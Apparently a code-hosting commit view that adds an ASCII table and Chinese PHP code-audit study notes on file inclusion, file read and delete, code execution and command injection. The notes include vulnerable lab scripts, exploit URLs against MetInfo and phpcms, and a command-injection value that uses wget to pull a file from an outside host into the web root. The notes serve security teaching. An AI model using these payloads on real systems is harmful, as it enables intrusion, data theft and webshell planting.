mirror of
https://gitee.com/gaohongy/code-audit.git
synced 2026-07-16 08:23:50 +00:00
Compare commits
2 Commits
be8fcdf201
...
9ebd52c601
| Author | SHA1 | Date | |
|---|---|---|---|
| 9ebd52c601 | |||
| f18bd95a1b |
Executable
+132
@@ -0,0 +1,132 @@
|
||||
# ASCII 码表
|
||||
|
||||
| 十进制 | 十六进制 | 字符 | 描述 |
|
||||
|--------|----------|-------|--------------------|
|
||||
| 0 | 0x00 | NUL | 空字符 |
|
||||
| 1 | 0x01 | SOH | 标题开始 |
|
||||
| 2 | 0x02 | STX | 文本开始 |
|
||||
| 3 | 0x03 | ETX | 文本结束 |
|
||||
| 4 | 0x04 | EOT | 传输结束 |
|
||||
| 5 | 0x05 | ENQ | 询问字符 |
|
||||
| 6 | 0x06 | ACK | 确认字符 |
|
||||
| 7 | 0x07 | BEL | 响铃 |
|
||||
| 8 | 0x08 | BS | 退格 |
|
||||
| 9 | 0x09 | HT | 水平制表符 |
|
||||
| 10 | 0x0A | LF | 换行 |
|
||||
| 11 | 0x0B | VT | 垂直制表符 |
|
||||
| 12 | 0x0C | FF | 换页 |
|
||||
| 13 | 0x0D | CR | 回车 |
|
||||
| 14 | 0x0E | SO | 取消移位 |
|
||||
| 15 | 0x0F | SI | 启用移位 |
|
||||
| 16 | 0x10 | DLE | 数据链路转义 |
|
||||
| 17 | 0x11 | DC1 | 设备控制1(XON) |
|
||||
| 18 | 0x12 | DC2 | 设备控制2 |
|
||||
| 19 | 0x13 | DC3 | 设备控制3(XOFF) |
|
||||
| 20 | 0x14 | DC4 | 设备控制4 |
|
||||
| 21 | 0x15 | NAK | 否定确认 |
|
||||
| 22 | 0x16 | SYN | 同步空闲 |
|
||||
| 23 | 0x17 | ETB | 传输块结束 |
|
||||
| 24 | 0x18 | CAN | 取消 |
|
||||
| 25 | 0x19 | EM | 介质结束 |
|
||||
| 26 | 0x1A | SUB | 替换 |
|
||||
| 27 | 0x1B | ESC | 退出 |
|
||||
| 28 | 0x1C | FS | 文件分隔符 |
|
||||
| 29 | 0x1D | GS | 组分隔符 |
|
||||
| 30 | 0x1E | RS | 记录分隔符 |
|
||||
| 31 | 0x1F | US | 单元分隔符 |
|
||||
| 32 | 0x20 | SP | 空格 |
|
||||
| 33 | 0x21 | ! | 感叹号 |
|
||||
| 34 | 0x22 | " | 双引号 |
|
||||
| 35 | 0x23 | # | 数字符号 |
|
||||
| 36 | 0x24 | $ | 美元符号 |
|
||||
| 37 | 0x25 | % | 百分号 |
|
||||
| 38 | 0x26 | & | 和符号 |
|
||||
| 39 | 0x27 | ' | 单引号 |
|
||||
| 40 | 0x28 | ( | 左括号 |
|
||||
| 41 | 0x29 | ) | 右括号 |
|
||||
| 42 | 0x2A | * | 星号 |
|
||||
| 43 | 0x2B | + | 加号 |
|
||||
| 44 | 0x2C | , | 逗号 |
|
||||
| 45 | 0x2D | - | 减号/横线 |
|
||||
| 46 | 0x2E | . | 句点 |
|
||||
| 47 | 0x2F | / | 斜杠 |
|
||||
| 48 | 0x30 | 0 | 数字0 |
|
||||
| 49 | 0x31 | 1 | 数字1 |
|
||||
| 50 | 0x32 | 2 | 数字2 |
|
||||
| 51 | 0x33 | 3 | 数字3 |
|
||||
| 52 | 0x34 | 4 | 数字4 |
|
||||
| 53 | 0x35 | 5 | 数字5 |
|
||||
| 54 | 0x36 | 6 | 数字6 |
|
||||
| 55 | 0x37 | 7 | 数字7 |
|
||||
| 56 | 0x38 | 8 | 数字8 |
|
||||
| 57 | 0x39 | 9 | 数字9 |
|
||||
| 58 | 0x3A | : | 冒号 |
|
||||
| 59 | 0x3B | ; | 分号 |
|
||||
| 60 | 0x3C | < | 小于号 |
|
||||
| 61 | 0x3D | = | 等号 |
|
||||
| 62 | 0x3E | > | 大于号 |
|
||||
| 63 | 0x3F | ? | 问号 |
|
||||
| 64 | 0x40 | @ | 商业符号 |
|
||||
| 65 | 0x41 | A | 大写字母A |
|
||||
| 66 | 0x42 | B | 大写字母B |
|
||||
| 67 | 0x43 | C | 大写字母C |
|
||||
| 68 | 0x44 | D | 大写字母D |
|
||||
| 69 | 0x45 | E | 大写字母E |
|
||||
| 70 | 0x46 | F | 大写字母F |
|
||||
| 71 | 0x47 | G | 大写字母G |
|
||||
| 72 | 0x48 | H | 大写字母H |
|
||||
| 73 | 0x49 | I | 大写字母I |
|
||||
| 74 | 0x4A | J | 大写字母J |
|
||||
| 75 | 0x4B | K | 大写字母K |
|
||||
| 76 | 0x4C | L | 大写字母L |
|
||||
| 77 | 0x4D | M | 大写字母M |
|
||||
| 78 | 0x4E | N | 大写字母N |
|
||||
| 79 | 0x4F | O | 大写字母O |
|
||||
| 80 | 0x50 | P | 大写字母P |
|
||||
| 81 | 0x51 | Q | 大写字母Q |
|
||||
| 82 | 0x52 | R | 大写字母R |
|
||||
| 83 | 0x53 | S | 大写字母S |
|
||||
| 84 | 0x54 | T | 大写字母T |
|
||||
| 85 | 0x55 | U | 大写字母U |
|
||||
| 86 | 0x56 | V | 大写字母V |
|
||||
| 87 | 0x57 | W | 大写字母W |
|
||||
| 88 | 0x58 | X | 大写字母X |
|
||||
| 89 | 0x59 | Y | 大写字母Y |
|
||||
| 90 | 0x5A | Z | 大写字母Z |
|
||||
| 91 | 0x5B | [ | 左方括号 |
|
||||
| 92 | 0x5C | \ | 反斜杠 |
|
||||
| 93 | 0x5D | ] | 右方括号 |
|
||||
| 94 | 0x5E | ^ | 脱字符 |
|
||||
| 95 | 0x5F | _ | 下划线 |
|
||||
| 96 | 0x60 | ` | 反引号 |
|
||||
| 97 | 0x61 | a | 小写字母a |
|
||||
| 98 | 0x62 | b | 小写字母b |
|
||||
| 99 | 0x63 | c | 小写字母c |
|
||||
| 100 | 0x64 | d | 小写字母d |
|
||||
| 101 | 0x65 | e | 小写字母e |
|
||||
| 102 | 0x66 | f | 小写字母f |
|
||||
| 103 | 0x67 | g | 小写字母g |
|
||||
| 104 | 0x68 | h | 小写字母h |
|
||||
| 105 | 0x69 | i | 小写字母i |
|
||||
| 106 | 0x6A | j | 小写字母j |
|
||||
| 107 | 0x6B | k | 小写字母k |
|
||||
| 108 | 0x6C | l | 小写字母l |
|
||||
| 109 | 0x6D | m | 小写字母m |
|
||||
| 110 | 0x6E | n | 小写字母n |
|
||||
| 111 | 0x6F | o | 小写字母o |
|
||||
| 112 | 0x70 | p | 小写字母p |
|
||||
| 113 | 0x71 | q | 小写字母q |
|
||||
| 114 | 0x72 | r | 小写字母r |
|
||||
| 115 | 0x73 | s | 小写字母s |
|
||||
| 116 | 0x74 | t | 小写字母t |
|
||||
| 117 | 0x75 | u | 小写字母u |
|
||||
| 118 | 0x76 | v | 小写字母v |
|
||||
| 119 | 0x77 | w | 小写字母w |
|
||||
| 120 | 0x78 | x | 小写字母x |
|
||||
| 121 | 0x79 | y | 小写字母y |
|
||||
| 122 | 0x7A | z | 小写字母z |
|
||||
| 123 | 0x7B | { | 左花括号 |
|
||||
| 124 | 0x7C | \| | 竖线 |
|
||||
| 125 | 0x7D | } | 右花括号 |
|
||||
| 126 | 0x7E | ~ | 波浪号 |
|
||||
| 127 | 0x7F | DEL | 删除 |
|
||||
@@ -0,0 +1,589 @@
|
||||
|
||||
- [1. 文件操作漏洞](#1-文件操作漏洞)
|
||||
- [1.1. 文件包含漏洞](#11-文件包含漏洞)
|
||||
- [1.1.1. 文件包含漏洞挖掘经验](#111-文件包含漏洞挖掘经验)
|
||||
- [1.1.2. 本地文件包含LFI](#112-本地文件包含lfi)
|
||||
- [1.1.3. 远程文件包含RFI](#113-远程文件包含rfi)
|
||||
- [1.1.4. PHP输入输出流远程包含](#114-php输入输出流远程包含)
|
||||
- [1.1.5. 文件包含截断1](#115-文件包含截断1)
|
||||
- [1.1.6. 文件包含截断2](#116-文件包含截断2)
|
||||
- [1.1.7. 文件包含截断3](#117-文件包含截断3)
|
||||
- [1.1.8. Metinfo文件包含漏洞分析1](#118-metinfo文件包含漏洞分析1)
|
||||
- [1.2. 文件读取(下载)漏洞](#12-文件读取下载漏洞)
|
||||
- [1.2.1. 文件读取(下载)漏洞挖掘经验](#121-文件读取下载漏洞挖掘经验)
|
||||
- [1.2.2. phpcms任意文件读取分析](#122-phpcms任意文件读取分析)
|
||||
- [1.3. 文件上传漏洞](#13-文件上传漏洞)
|
||||
- [1.4. 文件删除漏洞](#14-文件删除漏洞)
|
||||
- [1.4.1. Metinfo任意文件删除分析](#141-metinfo任意文件删除分析)
|
||||
- [1.5. 文件操作漏洞防范](#15-文件操作漏洞防范)
|
||||
- [2. 代码执行漏洞](#2-代码执行漏洞)
|
||||
- [2.1. 代码执行漏洞挖掘经验](#21-代码执行漏洞挖掘经验)
|
||||
- [2.1.1. arry\_map 函数](#211-arry_map-函数)
|
||||
- [2.1.2. eval和assert函数:](#212-eval和assert函数)
|
||||
- [2.1.3. preg\_replace 函数](#213-preg_replace-函数)
|
||||
- [2.1.4. 调用函数过滤不严](#214-调用函数过滤不严)
|
||||
- [2.1.5. 动态函数执行](#215-动态函数执行)
|
||||
- [2.1.6. 代码执行案例分析](#216-代码执行案例分析)
|
||||
- [3. 命令执行漏洞](#3-命令执行漏洞)
|
||||
- [3.1. 命令执行漏洞挖掘经验](#31-命令执行漏洞挖掘经验)
|
||||
- [3.1.1. 命令执行函数](#311-命令执行函数)
|
||||
- [3.2. 亿邮命令执行漏洞分析](#32-亿邮命令执行漏洞分析)
|
||||
- [3.3. 漏洞防范](#33-漏洞防范)
|
||||
- [3.3.1. escapeshellcmd()](#331-escapeshellcmd)
|
||||
- [3.3.2. escapeshellarg()](#332-escapeshellarg)
|
||||
- [3.3.3. 参数白名单](#333-参数白名单)
|
||||
|
||||
|
||||
# 1. 文件操作漏洞
|
||||
|
||||
包括文件包含、文件读取、文件删除、文件修改以及文件上传PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含和远程文件包含
|
||||
|
||||
## 1.1. 文件包含漏洞
|
||||
|
||||
文件包含函数: include()、include_once()、require()和 require_once()。它们之间的区别:include()和include_once()在包含文件时即使遇到错误,后续的代码依然会继续执行; require()和require_once()则会直接报错退出程序。
|
||||
|
||||
### 1.1.1. 文件包含漏洞挖掘经验
|
||||
|
||||
文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方跟踪程序运行流程,看模块加载时包含的文件是否可控;直接搜索四个函数,回溯,看是否有可控变量
|
||||
|
||||
### 1.1.2. 本地文件包含LFI
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
|
||||
echo "本地文件包含示例:" . "<br />";
|
||||
define("ROOT",dirname(__FILE__)."\\");//ROOT的作用及内容?
|
||||
//echo ROOT . "<br />";
|
||||
//加载模块
|
||||
$mod = $_GET['mod'];
|
||||
echo ROOT . $mod . '.php';
|
||||
include(ROOT . $mod . '.php');
|
||||
?>
|
||||
```
|
||||
|
||||
2.php 文件
|
||||
|
||||
```php
|
||||
<?php
|
||||
phpinfo();
|
||||
?>
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||

|
||||
|
||||
### 1.1.3. 远程文件包含RFI
|
||||
|
||||
可以包含远程文件的包含漏洞需要设置allow_url_include = On
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
|
||||
include($_GET['url']);
|
||||
?>
|
||||
```
|
||||
|
||||
测试代码:
|
||||
|
||||
```
|
||||
http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=http://localhost/2020CodeAudit/C5/include/2.txt
|
||||
```
|
||||
|
||||
> 注意,虽然 url=http://localhost/2020CodeAudit/C5/include/2.txt 使用了 localhost ,好像还是本地。但是通过 http 协议其实是通过网络的,2.txt 可以位于任何一台网络主机,只要可以通过URL进行访问。
|
||||
|
||||
allow_url_include 是非常危险的选项,建议关闭!如果有特殊需要,需要对url指向的文件进行校验解码等操作,验证远程文件的合法性!
|
||||
|
||||
### 1.1.4. PHP输入输出流远程包含
|
||||
|
||||
课本使用的FireFox的HackBar作为演示,但该插件已经停止更新,试了其他几个类似功能的插件,均不能正常使用。最后使用Edge的 PostWoman 插件,可以达到同样的效果:
|
||||
|
||||
插件地址:
|
||||
|
||||
```
|
||||
https://microsoftedge.microsoft.com/addons/detail/postwoman-http%E6%8E%A5%E5%8F%A3%E8%B0%83%E8%AF%95%E6%8F%92%E4%BB%B6/jopnhpooecpfgkolkacdmpehiiffcinf
|
||||
```
|
||||
|
||||
打开插件,使用如下URL地址:
|
||||
|
||||
```
|
||||
http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input
|
||||
```
|
||||
|
||||
构造POST请求,在POST内容中加入:
|
||||
|
||||
```
|
||||
<?php phpinfo();?>
|
||||
```
|
||||
|
||||
F12打开Edge的调试模式。
|
||||
|
||||

|
||||
|
||||
1. 选择请求类型 POST
|
||||
2. 输入URL:http://localhost/2020CodeAudit/C5/include/remoteinclude.php?url=php://input
|
||||
3. 选择参数功能;
|
||||
4. 填入POST数据:<?php phpinfo();?>
|
||||
5. 点击发送;
|
||||
6. 切换到网络;
|
||||
7. 选择刚刚发送的请求;
|
||||
8. 预览结果。
|
||||
|
||||
### 1.1.5. 文件包含截断1
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
|
||||
include $_GET['url'] . '.php';
|
||||
// include 2.txt%00.php;
|
||||
?>
|
||||
```
|
||||
|
||||
如果不能写入以.php为扩展名的文件,需要截断。1、利用%00来截断,开启GPC时不可用。PHP5.3之后的版本不可用。
|
||||
|
||||
请求URL:
|
||||
|
||||
```
|
||||
http://localhost/2020CodeAudit/C5/include/truncation.php?url=2.txt%00
|
||||
```
|
||||
|
||||
原理:%00 表示的二进制是0;PHP的处理器估计是C写的,会认为 0x00 是字符串的结尾,因此就包含了文件 2.txt
|
||||
|
||||
### 1.1.6. 文件包含截断2
|
||||
|
||||
利用多个英文句号(.)和斜杠(/)(??)来截断,这种方式不受GPC限制,PHP5.3版本之后不可用。
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
|
||||
$str = '';
|
||||
for($i=0;$i<=240;$i++){ //最小值为199.小于199不能截断
|
||||
$str .= '.';
|
||||
// $str .= './';
|
||||
}
|
||||
$str = '2.txt' . $str;
|
||||
echo $str . "<br />";
|
||||
include $str . '.php';//$str变量的值为2.txt................php
|
||||
?>
|
||||
```
|
||||
|
||||
### 1.1.7. 文件包含截断3
|
||||
|
||||
利用问号(?)来伪截断,不受GPC和PHP版本限制,只要能返回代码给包含函数,就能执行在HTTP协议里面访问http://iphost/1.txt和访问http://iphost/1.txt?.php返回的结果是一样的。
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type: text/html; charset=utf-8");//使PHP显示中文
|
||||
include $_GET['url'] . '.php';
|
||||
?>
|
||||
```
|
||||
|
||||
URL:
|
||||
|
||||
```
|
||||
http://localhost/2020CodeAudit/C5/include/truncation-ques.php?url=http://localhost/2020CodeAudit/C5/include/2.txt?
|
||||
```
|
||||
|
||||
这里是远程包含,远程文件是 http://localhost/2020CodeAudit/C5/include/2.txt?.php
|
||||
|
||||
但是在URL中,问号后面的是参数,因此PHP在包含文件的时候会忽略后面的参数部分,就只包含文件部分,最终包含的文件是:http://localhost/2020CodeAudit/C5/include/2.txt
|
||||
|
||||
### 1.1.8. Metinfo文件包含漏洞分析1
|
||||
|
||||
在 message/index.php 中,大约第十行。
|
||||
|
||||
```php
|
||||
if(!$metid)$metid='index';
|
||||
if($metid!='index'){
|
||||
require_once $metid.'.php';
|
||||
```
|
||||
|
||||
直接从GET请求中获取模块名,拼接到require_once函数中,因此模块名可控导致可以远程包含文件。
|
||||
|
||||
利用方式1、allow_url_include=on,远程写一个2.txt的文件,利用问号来伪截断。
|
||||
|
||||
```
|
||||
http://localhost/MetInfo5.0/message/index.php?metid=http://localhost/2020CodeAudit/C5/include/2.txt?
|
||||
```
|
||||
|
||||
利用方式2、搭一个不解析PHP的Webserver,访问的时候不加文件扩展名:
|
||||
|
||||
```
|
||||
http://localhost/MetInfo5.0/message/index.php?metid=http://localhost/2020CodeAudit/C5/include/2
|
||||
```
|
||||
|
||||
注意:为什么要是不解析php的服务器?
|
||||
|
||||
## 1.2. 文件读取(下载)漏洞
|
||||
|
||||
部分程序在下载文件或者读取显示文件的时候,读取文件的参数filename直接在请求里面传递后台程序获取到这个文件路径后直接读取返回,问题在于这个参数是用户可控的,可以直接传入想要读取的文件路径即可利用。
|
||||
|
||||
### 1.2.1. 文件读取(下载)漏洞挖掘经验
|
||||
|
||||
黑盒:看功能点对应的文件,再去读文件白盒:搜索文件读取的函数:file_get_contents()、highlight_file()、fopen()、 readfile() 、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()文件包含函数include或者php://filter/也可以利用。
|
||||
|
||||
### 1.2.2. phpcms任意文件读取分析
|
||||
|
||||
漏洞文件在 /phpcms/modules/search/index.php 中的大约199行:
|
||||
|
||||
```php
|
||||
public function public_get_suggest_keyword() {
|
||||
$url = $_GET['url'].'&q='.$_GET['q'];
|
||||
//$trust_url = array('c8430fcf851e85818b546addf5bc4dd3');
|
||||
//$urm_md5 = md5($url);
|
||||
//if (!in_array($urm_md5, $trust_url)) exit;
|
||||
|
||||
$res = @file_get_contents($url);
|
||||
if(CHARSET != 'gbk') {
|
||||
$res = iconv('gbk', CHARSET, $res);
|
||||
}
|
||||
echo $res;
|
||||
}
|
||||
```
|
||||
|
||||
给出的源文件进行了加固,必须注解掉上述的三行。
|
||||
|
||||
请求URL:
|
||||
|
||||
```
|
||||
http://localhost/phpcms/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php
|
||||
```
|
||||
|
||||
## 1.3. 文件上传漏洞
|
||||
|
||||
直接搜索move_uploaded_file()函数,P95其中问题比较多的是黑名单限制文件格式以及未更改文件名的方式,P96-99。
|
||||
|
||||
## 1.4. 文件删除漏洞
|
||||
|
||||
漏洞原理跟文件读取漏洞差不多黑盒:直接测试一下看能不能删除某个文件白盒:搜索带有变量参数的unlink(), 回溯变量unlink():删除文件。如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。
|
||||
|
||||
### 1.4.1. Metinfo任意文件删除分析
|
||||
|
||||
漏洞文件:admin/system/database/recovery.php,大约9行。首先判断请求的action参数的值是不是delete,如果是则进入文件删除功能。判断如果不是sql文件后,就直接在databack目录删除提交的文件名
|
||||
|
||||
```php
|
||||
if($action=='delete'){
|
||||
if(is_array($filenames)) {
|
||||
foreach($filenames as $filename){
|
||||
if(fileext($filename)=='sql'){
|
||||
@unlink('../databack/'.$filename);
|
||||
}
|
||||
}
|
||||
}else{
|
||||
if(fileext($filenames)=='sql'){
|
||||
$filenamearray=explode(".sql",$filenames);
|
||||
@unlink('../../databack/'.$filenames);
|
||||
@unlink('../../databack/sql/metinfo_'.$filenamearray[0].".zip");
|
||||
}else{
|
||||
@unlink('../../databack/'.$fileon.'/'.$filenames);
|
||||
}
|
||||
}
|
||||
metsave($rurls,'',$depth);
|
||||
}
|
||||
```
|
||||
|
||||
代码中 $filenames函数从GET中提交。
|
||||
|
||||
访问url
|
||||
|
||||
```
|
||||
http://localhost/Metinfo5.0/admin/system/database/recovery.php?action=delete&filenames=../../1.zip
|
||||
```
|
||||
|
||||
只要请求:即可删除index.php文件。注:相对路径自databack开始,且必须登录系统。
|
||||
|
||||
## 1.5. 文件操作漏洞防范
|
||||
|
||||
1、对权限的管理要合理
|
||||
|
||||
2、用更安全的方法来替代直接以文件名为参数
|
||||
|
||||
3、避免目录跳转的问题
|
||||
|
||||
# 2. 代码执行漏洞
|
||||
|
||||
代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行如果没有特殊过滤,相当于Web后门eval()、 assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()等函数和PHP的动态函数($a($b))
|
||||
|
||||
## 2.1. 代码执行漏洞挖掘经验
|
||||
|
||||
1. eval()和assert()函数导致的代码执行漏洞大多是因为载入缓存或模板以及对变量的处理不严格导致
|
||||
2. preg_replace()函数用来处理字符串,代码执行需要存在/e参数
|
||||
3. call_user_func()和call_user_func_array()函数的功能是调用函数,多用在框架里动态调用函数
|
||||
4. [array_map()](https://www.php.net/manual/zh/function.array-map.php) 函数的作用是调用函数并且除第一个参数外其他参数作为数组,通常会固定第一个参数,即调用的函数。
|
||||
|
||||
### 2.1.1. arry_map 函数
|
||||
|
||||
举例:http://localhost/2020CodeAudit/C5/5-2-1-arraymap.php动态函数的代码执行:$_GET($_POST[“xx”])经常被用来当作Web后门。
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "array_map()函数举例:"."</br>";
|
||||
function myfunction($v)
|
||||
{
|
||||
return($v*$v);
|
||||
}
|
||||
$a=array(1,2,3,4,5);
|
||||
print_r(array_map("myfunction",$a));
|
||||
?>
|
||||
```
|
||||
|
||||
输出结果:
|
||||
|
||||
```
|
||||
array_map()函数举例:
|
||||
Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 )
|
||||
```
|
||||
|
||||
### 2.1.2. [eval](https://www.php.net/manual/zh/function.eval.php)和[assert](https://www.php.net/manual/zh/function.assert.php)函数:
|
||||
|
||||
注意php配置:
|
||||
|
||||
```ini
|
||||
assert.active = 1 ; 启用断言(1启用,0禁用)
|
||||
assert.warning = 1 ; 断言失败时触发警告(PHP 8+)
|
||||
assert.bail = 0 ; 失败时是否终止脚本(0不终止)
|
||||
assert.callback = null ; 失败时调用的全局回调函数
|
||||
assert.quiet_eval = 0 ; 是否在安全模式下启用断言
|
||||
```
|
||||
|
||||
可以通过phpinfo() 函数检查配置。
|
||||
|
||||
这两个函数用来执行动态代码,参数直接就是PHP代码。
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "eval()和assert()函数举例:"."</br>";
|
||||
$a = 'aaa';
|
||||
$b = 'bbb';
|
||||
$c = 'ccc';
|
||||
eval('$a=$b;');//注意分号位置
|
||||
assert('$b=$c');//注意分号位置
|
||||
var_dump($a);
|
||||
echo "<br />";
|
||||
var_dump($b);
|
||||
?>
|
||||
```
|
||||
|
||||
访问URL:
|
||||
|
||||
```
|
||||
http://localhost/2020CodeAudit/C5/5-2-1-1-eval.php
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```
|
||||
eval()和assert()函数举例:
|
||||
string(3) "bbb"
|
||||
string(3) "ccc"
|
||||
```
|
||||
|
||||
### 2.1.3. preg_replace 函数
|
||||
|
||||
对字符串进行正则处理mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)捜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处存在/e修饰符时,$replacement的值会被当成PHP代码来执行。
|
||||
|
||||
```php
|
||||
preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
|
||||
```
|
||||
|
||||
- 第1个参数:从$_GET['str']变量中搜索中括号[]中间的内容作为第一组结果;
|
||||
- / /:正则表达式开始和结束;
|
||||
- \[ :匹配 [ \]:匹配 ]
|
||||
- ( ):标记一个子表达式的开始和结束位置
|
||||
- . :匹配除换行符 \n 之外的任何单字符
|
||||
- *:匹配前面的子表达式零次或多次
|
||||
- 第2个参数:代表这里用第一组结果填充
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-2-1-1-preg.php?str=[phpinfo()]
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "preg_replace()函数举例:"."</br>";
|
||||
preg_replace("/\[(.*)\]/e",'\\1',$_GET['str']);
|
||||
?>
|
||||
```
|
||||
|
||||
结果显示为phpinfo()的执行结果。
|
||||
|
||||
### 2.1.4. 调用函数过滤不严
|
||||
|
||||
[call_user_func()](https://www.php.net/manual/zh/function.call-user-func.php)和array_map()等数十个函数(P105)有调用其他函数的功能,其中的一个参数作为要调用的函数名,如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想执行的代码,也就是存在代码执行漏洞。
|
||||
|
||||
call_user_func()函数
|
||||
|
||||
- 调用函数并且第二个参数作为要调用的函数的参数
|
||||
- mixed call_user_func (callable $callback [, mixed $parameter [, mixed $...]])
|
||||
- 第一个参数为回调函数,后面的参数为回调函数的参数
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-2-1-1-call.php?a=assert
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "call_user_func()函数举例:"."</br>";
|
||||
$b = "phpinfo()";
|
||||
call_user_func($_GET['a'],$b);//
|
||||
//a=assert ,如果改成$_GET['A']??
|
||||
?>
|
||||
```
|
||||
|
||||
### 2.1.5. 动态函数执行
|
||||
|
||||
由于PHP的特性原因,PHP的函数可以直接由字符串拼接。更简单更方便地调用函数,一旦过滤不严格就会造成代码执行漏洞。PHP动态函数写法为“变量(参数)”。
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-2-1-2-dynamic.php?a=assert&b=phpinfo()
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "动态函数执行举例:"."</br>";
|
||||
$_GET['a']($_GET['b']);
|
||||
?>
|
||||
```
|
||||
|
||||
### 2.1.6. 代码执行案例分析
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-2-2-preg.php?a=b|${@phpinfo()}
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
//http://localhost/2020CodeAudit/C5/5-2-2-preg.php?a=b|${@phpinfo()}
|
||||
|
||||
echo "动态函数执行防范举例:"."</br>";
|
||||
|
||||
// echo ${@phpinfo()};
|
||||
// $b=@phpinfo();
|
||||
|
||||
preg_replace('/(\w+)\|(.*)/ie','$\\1 = "\\2";',$_GET['a']);
|
||||
|
||||
// preg_replace('/(\w+)\|(\d+)/ie','$\\1 = "\\2";',$_GET['a']);
|
||||
|
||||
//preg_replace('/(\w+)\|(.*)/ie','$\\1 = \'\\2\';',$_GET['a']);//
|
||||
?>
|
||||
```
|
||||
|
||||
preg_replace('/(\w+)\|(.*)/ie' , '$\\1 = "\\2";' ,$_GET['a']);
|
||||
|
||||
修饰符i:不区分大小写;
|
||||
|
||||
修饰符e:执行$\\1 = "\\2";
|
||||
|
||||
- \w:匹配字母、数字、下划线
|
||||
- +:匹配前面的子表达式一次或多次
|
||||
- \\\1:包含后向引用,正则匹配出来的第1个参数 b
|
||||
- \\\2:包含后向引用,正则匹配出来的第2个参数${@phpinfo()}
|
||||
- \d:匹配数字
|
||||
|
||||
# 3. 命令执行漏洞
|
||||
|
||||
- 代码执行漏洞指的是可以执行PHP脚本代码
|
||||
- 命令执行漏洞指的是可以执行系统或者应用指令(如CMD命令或者bash命令)的漏洞
|
||||
- 可以执行命令的函数有system()、exec()、shell_ exec()、passthru()、pcntl_exec()、popen()、proc_open()等七个函数,另外反引号(`) 也可以执行命令
|
||||
|
||||
## 3.1. 命令执行漏洞挖掘经验
|
||||
|
||||
- 命令执行漏洞最多出现在包含环境包的应用里
|
||||
- 直接在代码里搜这七个函数
|
||||
- 像discuz等应用也有调用外部程序的功能,如数据库导出功能,曾经就出现过命令执行漏洞
|
||||
|
||||
### 3.1.1. 命令执行函数
|
||||
|
||||
system()、exec()、shell_ exec()、passthru()、反引号(`)是可以直接传入命令并且函数会返回执行结果。
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-3-1-1-system.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "system()函数举例,whoami的执行结果为:"."</br>";
|
||||
system('whoami');
|
||||
?>
|
||||
```
|
||||
|
||||
命令执行函数
|
||||
|
||||
popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针,但命令是已经执行了。
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-3-1-1-popen.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "popen()函数举例,输出重定向:"."</br>";
|
||||
echo 'popen(' . 'whoami >> 2.txt' .','. '\'r\')';
|
||||
popen('whoami >> 2.txt','r');
|
||||
?>
|
||||
```
|
||||
|
||||
反引号命令执行
|
||||
|
||||
实际上反引号(`) 执行命令是调用的shell_exec()函数
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-3-1-2-echo.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "``反引号执行举例:"."</br>";
|
||||
echo `whoami`;
|
||||
|
||||
?>
|
||||
```
|
||||
|
||||
## 3.2. 亿邮命令执行漏洞分析
|
||||
|
||||
- $uid和$domain变量都是从GET请求中获取的,最终通过反引号(`)来 执行,所以我们可以直接注入命令
|
||||
- ?uid=|wget+http://www.x.com/1. txt+-O+/var/ eyou/apache/htdocs/swfupload/a.php&domain=
|
||||
- wget:从指定的URL下载文件
|
||||
- -O:指定文件名
|
||||
- +:URL中表示空格
|
||||
|
||||
## 3.3. 漏洞防范
|
||||
|
||||
- 使用PHP自带的命令防注入函数
|
||||
- 对命令执行函数的参数做白名单限制
|
||||
|
||||
### 3.3.1. [escapeshellcmd()](escapeshellcmd)
|
||||
|
||||
过滤整条命令输入string类型的参数,为要过滤的命令,函数返回过滤后的string类型的命令。
|
||||
|
||||
